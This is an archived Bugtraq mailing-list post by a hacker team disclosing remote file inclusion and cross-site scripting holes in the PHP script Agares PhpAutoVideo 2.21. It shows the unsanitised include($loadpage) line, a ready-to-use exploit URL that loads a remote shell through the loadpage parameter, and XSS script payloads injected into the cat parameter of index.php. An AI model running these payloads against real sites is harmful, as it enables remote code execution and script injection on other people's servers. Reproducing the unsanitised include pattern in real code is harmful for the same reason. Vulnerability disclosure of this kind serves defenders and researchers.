Home page logo
/

bugtraq logo Bugtraq mailing list archives

Agares PhpAutoVideo 2.21(XSS/RFI) Multiple Remote Vulnerabilities
From: houssamix () hotmail fr
Date: 18 Jan 2008 09:13:16 -0000

-----------------------------------------------------------------------------------
- Author :  H-T Team { HouSSaMix & ToXiC350 } From MoRoCCo                        -
-----------------------------------------------------------------------------------

# Script : Agares PhpAutoVideo 2.21 and below                                 
# Download : http://scriptmafia.org/2007/12/19/agares_phpautovideo_v2.21.html                      
# BUG : (XSS/RFI) Multiple Remote Vulnerabilities  

         
## Remote File Inclusion        
         
[+] Vulnerable CODE :
~~~~~~~~~ /theme/phpAutoVideo/LightTwoOh/sidebar.php ~~~~~~~~~~~~~~~~~
<?PHP include($loadpage); ?>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   
[+] Exploit : 

[Target.il]/[Path]/theme/phpAutoVideo/LightTwoOh/sidebar.php?loadpage=[SH3LL]

=> other RFI was found in this script for version 2.21 ( http://www.milw0rm.com/exploits/4782 )


## XSS exploit :
%22%3E%3Cscript%3Ealert(1);%3C/script%3E

[Target.il]/[Path]/index.php?cat=%22%3E%3Cscript%3Ealert(1);%3C/script%3E
[Target.il]/[Path]/index.php?cat=<br> XSS found by HouSSaMix and ToXiC350

=> works for all versions 

-----------------------------------------------------------------------------------
- Gr33tz :  coNan , GoLd_M , RoMaNcYxHaCkEr , Rachidox ,  and all muslims Hackers -
-----------------------------------------------------------------------------------


  By Date           By Thread  

Current thread:
  • Agares PhpAutoVideo 2.21(XSS/RFI) Multiple Remote Vulnerabilities houssamix (Jan 18)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]